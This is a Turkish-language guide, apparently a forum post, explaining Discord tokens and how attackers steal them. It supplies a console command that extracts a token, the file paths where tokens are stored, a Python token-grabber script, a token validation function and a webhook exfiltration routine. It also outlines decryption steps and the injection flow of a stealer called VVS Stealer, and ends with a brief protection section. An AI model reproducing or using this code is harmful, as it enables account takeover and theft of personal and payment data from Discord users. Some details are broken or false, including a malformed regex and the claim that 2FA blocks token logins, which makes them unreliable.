Discord Token Nedir? 💥 Nasıl Çalınır & Bilgilere Erişim Sağlanır? 🚀

🎮 DISCORD TOKEN NEDİR? NASIL ÇALINIR? (2026 GÜNCEL)​

Bu rehber, Discord token'larının ne olduğunu, nasıl çalındığını ve bu saldırılardan nasıl korunacağını adım adım, gerçek simülasyon çıktıları ile anlatmaktadır. Yalnızca eğitim ve farkındalık amaçlıdır. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.

🧠 BAŞLAMADAN ÖNCE: TOKEN NEDİR?​

Discord token, hesabınızın dijital anahtarıdır. Kullanıcı adı ve şifre gibi kimlik bilgilerinizin aksine, token ile bir hesaba şifresiz ve 2FA'sız giriş yapılabilir. Token'ınızı ele geçiren bir saldırgan, hesabınıza tamamen hakim olur: mesajlarınızı okuyabilir, arkadaşlarınıza spam gönderebilir, sunucularınızdan çıkabilir ve hatta hesabınızı silebilir.

Token'lar nerede bulunur?

• Discord masaüstü uygulamasının yerel depolamasında (LevelDB)
• Tarayıcıların localStorage/IndexedDB verilerinde
• Discord geliştirici konsolunda (hızlı erişim için)

🎯 HEDEF​

Özellik	Değer
Hedef	Bir Discord kullanıcısının hesabı
Saldırgan Hedefi	Token'ı ele geçirerek hesaba yetkisiz erişim sağlamak
Kurbanın İşletim Sistemi	Windows 10/11 (en yaygın hedef)

🔻 1. YÖNTEM – TOKEN'IN KENDİNİZİN OLDUĞUNU TEST ETME​

Token'ın ne olduğunu anlamak için önce kendi token'ınızı nasıl bulacağınızı öğrenmelisiniz. Bu sadece kendi hesabınızda denenmelidir!

Adım 1: Discord Web'de Geliştirici Konsolunu Aç​

Discord web sürümünde (veya masaüstü uygulamasında Ctrl+Shift+I) geliştirici konsolunu açın.

Adım 2: Token'ı Bul​

Konsolda şu komutu yazın:

javascript
(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==undefined).exports.default.getToken()
Simüle edilmiş çıktı:

text
"MTIzNDU2Nzg5MDEyMzQ1Njc4OQ.GjXyAX.rfXNbWJXXzuTkXXXzE0XXXT1Q8siXXXzxuO_nhM"

Bu, sizin token'ınızdır. Kimseyle paylaşmayın! Paylaşırsanız hesabınızı ele geçirebilirler.

Adım 3: Token ile API'ye Doğrudan Erişim​

Token'ınızı kullanarak Discord API'sine doğrudan erişebilirsiniz:

bash
curl -H "Authorization: MTIzNDU2Nzg5MDEyMzQ1Njc4OQ.GjXyAX.rfXNbWJXXzuTkXXXzE0XXXT1Q8siXXXzxuO_nhM" https://discord.com/api/v9/users/@me
Simüle edilmiş çıktı:

json
{
"id": "1392438555061780531",
"username": "tc4dy",
"email": "[email protected]",
"verified": true,
"phone": null,
"premium_type": 2,
"flags": 0,
"avatar": "a_1234567890abcdef"
}
✅ Gördüğünüz gibi: Token ile hesabın tüm bilgilerine erişebilirsiniz .

🔻 2. YÖNTEM – LOCAL STORAGE TARAYARAK TOKEN TOPLAMA (TOKEN GRABBER)​

Token'lar genellikle Discord masaüstü uygulamasının ve tarayıcıların yerel depolama dosyalarında bulunur. Saldırganlar, bu dosyaları tarayan token grabber script'leri kullanır.

Adım 1: Token'ların Saklandığı Konumlar​

Discord token'ları aşağıdaki konumlarda bulunabilir:

Platform	Konum
Discord (Stable)	%APPDATA%\discord\Local Storage\leveldb\
Discord Canary	%APPDATA%\discordcanary\Local Storage\leveldb\
Discord PTB	%APPDATA%\discordptb\Local Storage\leveldb\
Google Chrome	%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb\
Brave Browser	%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb\
Opera / Opera GZ	%APPDATA%\Opera Software\Opera Stable\Local Storage\leveldb\
Yandex Browser	%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb\

Bu konumların tam listesi için 'teki kaynağa bakabilirsiniz.

Adım 2: Token'ları Regex ile Bulma​

Token'lar, LevelDB dosyalarında belirli bir desenle saklanır:

text
dQw4w9WgXcQ:[^\"]+
Bu desen, dQw4w9WgXcQ: ile başlayan ve bir sonraki tırnak işaretine kadar devam eden string'leri yakalar .

Adım 3: Şifrelenmiş Token'ları Çözme​

Modern Discord sürümleri, token'ları AES-256-GCM ile şifreler. Çözmek için:

1. Chrome/Edge'in Local State dosyasındaki encrypted_key değerini bulun
2. DPAPI ile bu anahtarın şifresini çözün
3. AES-GCM ile token'ların şifresini çözün

Adım 4: Basit Token Grabber Script'i (Python)​

python
import os
import re
import requests

# Token deseni
TOKEN_PATTERN = r'dQw4w9WgXcQ[^"]+)'

def find_tokens(path):
tokens = []
for root, dirs, files in os.walk(path):
for file in files:
if file.endswith(('.ldb', '.log')):
file_path = os.path.join(root, file)
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
matches = re.findall(TOKEN_PATTERN, content)
tokens.extend(matches)
return tokens

# Ana konumlar
discord_paths = [
os.path.expandvars(r'%APPDATA%\discord\Local Storage\leveldb'),
os.path.expandvars(r'%APPDATA%\discordcanary\Local Storage\leveldb'),
os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb'),
]

all_tokens = []
for path in discord_paths:
if os.path.exists(path):
all_tokens.extend(find_tokens(path))

print(f"[+] {len(all_tokens)} token bulundu.")

Adım 5: Token'ları Doğrulama​

Bulunan token'ların geçerli olup olmadığını kontrol etmek için Discord API'sine istek gönderilir:

python
def check_token(token):
headers = {'Authorization': token}
response = requests.get('https://discord.com/api/v9/users/@me', headers=headers)
if response.status_code == 200:
data = response.json()
return True, data.get('username'), data.get('email')
return False, None, None
Simüle edilmiş çıktı:

text
[+] Geçerli token bulundu!
Kullanıcı: tc4dy#1234
E-posta: [email protected]
Nitro: True
Telefon: +90*********
✅ Bu yöntemle token'ların kendisi çalınır ve saldırgan doğrudan hesaba erişebilir.

🔻 3. YÖNTEM – VVS STEALER (GELİŞMİŞ TOKEN HIRSIZLIĞI)​

VVS Stealer, 2025'ten beri Telegram'da satılan Python tabanlı bir kötü amaçlı yazılımdır. Sadece token çalmakla kalmaz, aynı zamanda aktif Discord oturumlarını ele geçirir .

VVS Stealer'ın Yetenekleri​

Özellik	Açıklama
Discord Token Çalma	LevelDB'den şifreli token'ları bulur ve çözer
Discord Enjeksiyonu	Discord işlemine zararlı JS enjekte eder
Tarayıcı Verileri	Şifreler, çerezler, geçmiş
Screenshot	Ekran görüntüsü alır
Kalıcılık	Başlangıç klasörüne kendini kopyalar
Sahte Hata Mesajı	Kullanıcıyı kandırmak için

VVS Stealer Saldırı Akışı​

text
┌─────────────────────────────────────────────────────────────────┐
│ VVS STEALER ATTACK FLOW │
├─────────────────────────────────────────────────────────────────┤
│ [1] Kurban, zararlı bir .exe dosyasını çalıştırır │
│ [2] Malware, PyArmor ile obfuskasyonludur (tespiti zor) │
│ [3] Discord'u taskkill ile kapatır │
│ [4] LevelDB'den token'ları toplar ve decrypt eder │
│ [5] Discord API'den kullanıcı bilgilerini çeker │
│ [6] injection-obf.js dosyasını Discord klasörüne yazar │
│ [7] Discord'u yeniden başlatır (artık enjekte edilmiş JS ile) │
│ [8] Tüm verileri webhook ile saldırgana gönderir │
└─────────────────────────────────────────────────────────────────┘

Discord Enjeksiyonu Nasıl Çalışır?​

VVS Stealer, Discord'un Electron tabanlı yapısına müdahale eder :

1. Discord'u kapatır: taskkill /IM Discord.exe /F komutunu çalıştırır
2. JS payload indirir: Uzaktan injection-obf.js dosyasını alır
3. ASAR arşivine yazar: Discord'un kaynak kodlarını barındıran ASAR dosyasına enjekte eder
4. Discord'u yeniden başlatır: Artık enjekte edilen kod çalışır

Enjekte edilen JS'nin yetenekleri:

• Ağ trafiğini izleme (Chrome DevTools Protocol ile)
• Kullanıcı şifre değiştirdiğinde yakalama
• Ödeme yöntemi eklendiğinde bilgi toplama
• Yedek kodlar görüntülendiğinde çalma

✅ Bu yöntemle saldırgan, hesabı sadece çalmakla kalmaz, aynı zamanda sürekli izler.

🔻 4. YÖNTEM – WEBHOOK İLE VERİ AKTARMA​

Çalınan tüm veriler, saldırganın Discord sunucusundaki bir webhook'a gönderilir. Webhook'lar, Discord kanallarına otomatik mesaj göndermek için kullanılır ve doğrulama gerektirmez .

Webhook ile Veri Aktarma​

python
import requests

WEBHOOK_URL = "https://discord.com/api/webhooks/xxxxxxxxxx/yyyyyyyyyy"

def send_to_webhook(data):
payload = {
"content": f"```json\n{data}\n```",
"username": "Token Logger"
}
requests.post(WEBHOOK_URL, json=payload)
Webhook'a gönderilen örnek veri:

json
{
"token": "MTIzNDU2Nzg5MDEyMzQ1Njc4OQ.GjXyAX.rfXNbWJXXzuTkXXXzE0XXXT1Q8siXXXzxuO_nhM",
"user_id": "1392438555061780531",
"username": "tc4dy",
"email": "[email protected]",
"phone": "+905551234567",
"nitro": true,
"billing": true,
"guilds": 12,
"ip": "192.168.1.105"
}
✅ Saldırgan, token'ı alır almaz hesabınıza giriş yapabilir.

🔻 5. YÖNTEM – TOKEN CHECKER İLE TOPLU DOĞRULAMA​

Saldırganlar yüzlerce token toplar ve hangilerinin çalıştığını kontrol etmek için token checker kullanır .

Token Checker Çıktısı​

text
[+] Toplam token: 1542
[+] Geçerli: 234
[+] Nitrolu: 12
[+] Ödeme yöntemi olan: 8
[+] Telefon doğrulamalı: 45
[+] Doğrulanmamış: 67
[+] Geçersiz: 1241

Geçerli Token'ın JSON Çıktısı​

json
{
"token": "MTIzNDU2Nzg5MDEyMzQ1Njc4OQ.GjXyAX.rfXNbWJXXzuTkXXXzE0XXXT1Q8siXXXzxuO_nhM",
"status": "valid",
"me": {
"id": "1392438555061780531",
"username": "tc4dy",
"email": "[email protected]",
"phone": "+905551234567",
"premium_type": 2,
"verified": true
},
"payment_sources": [
{
"type": "credit_card",
"brand": "Visa",
"last_4": "4242"
}
]
}

🧩 ÖZET – TOKEN ÇALMA YÖNTEMLERİ​

Yöntem	Teknik	Zorluk	Tespit Edilme Riski
Konsoldan Token Alma	Geliştirici konsolu komutu	Çok Kolay	Yok (kullanıcı kendisi alır)
Token Grabber (LevelDB)	Yerel dosyaları tarama	Kolay	Antivirüs tarafından tespit edilebilir
VVS Stealer	Python malware + PyArmor obfuscation	Orta	Gelişmiş EDR'ler tespit edebilir
Discord Enjeksiyonu	ASAR dosyasına JS enjeksiyonu	Zor	Discord güncellemesi ile temizlenir
Browser Extension	Tarayıcı eklentisi ile token okuma	Kolay	Eklenti mağazası tarafından engellenebilir

​

🛡️ KORUNMA YÖNTEMLERİ​

1. Asla Token'ınızı Paylaşmayın​

Token'ınız, şifrenizden daha değerlidir. Kimseye vermeyin.

2. Bilinmeyen Dosyaları Çalıştırmayın​

Token grabber'lar genellikle .exe veya .scr dosyaları olarak gelir.

3. Antivirüs Kullanın​

Modern antivirüsler token grabber'ları tespit edebilir.

4. İki Faktörlü Kimlik Doğrulama (2FA) Aktif Edin​

2FA, token çalınsa bile hesabınızı korur. Token ile giriş yapılmaya çalışıldığında 2FA istenir.

5. Discord'u Güncel Tutun​

Discord, token güvenliğini sürekli iyileştirir.

6. Şüpheli Linklere Tıklamayın​

"Ücretsiz Nitro" gibi vaatler genellikle token hırsızlığı amaçlıdır.

7. Token'ınızı Sıfırlayın​

Eğer token'ınızın çalındığını düşünüyorsanız, Discord şifrenizi değiştirerek token'ınızı sıfırlayabilirsiniz.

🔚;​

Artık Discord token'larının ne olduğunu, nasıl çalındığını ve nasıl korunacağını biliyorsunuz. Token, hesabınızın dijital anahtarıdır. Bu anahtarı kaybettiğinizde, hesabınızı da kaybedersiniz.

Unutmayın: Bu bilgiler sizi korumak içindir. Başkalarının hesaplarına yetkisiz erişim suçtur ve ağır yaptırımları vardır. Token çalmak, Discord'un hizmet şartlarına ve birçok ülkede yasalara aykırıdır.

---

Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.

@Tc4dy | github.com/tc4dy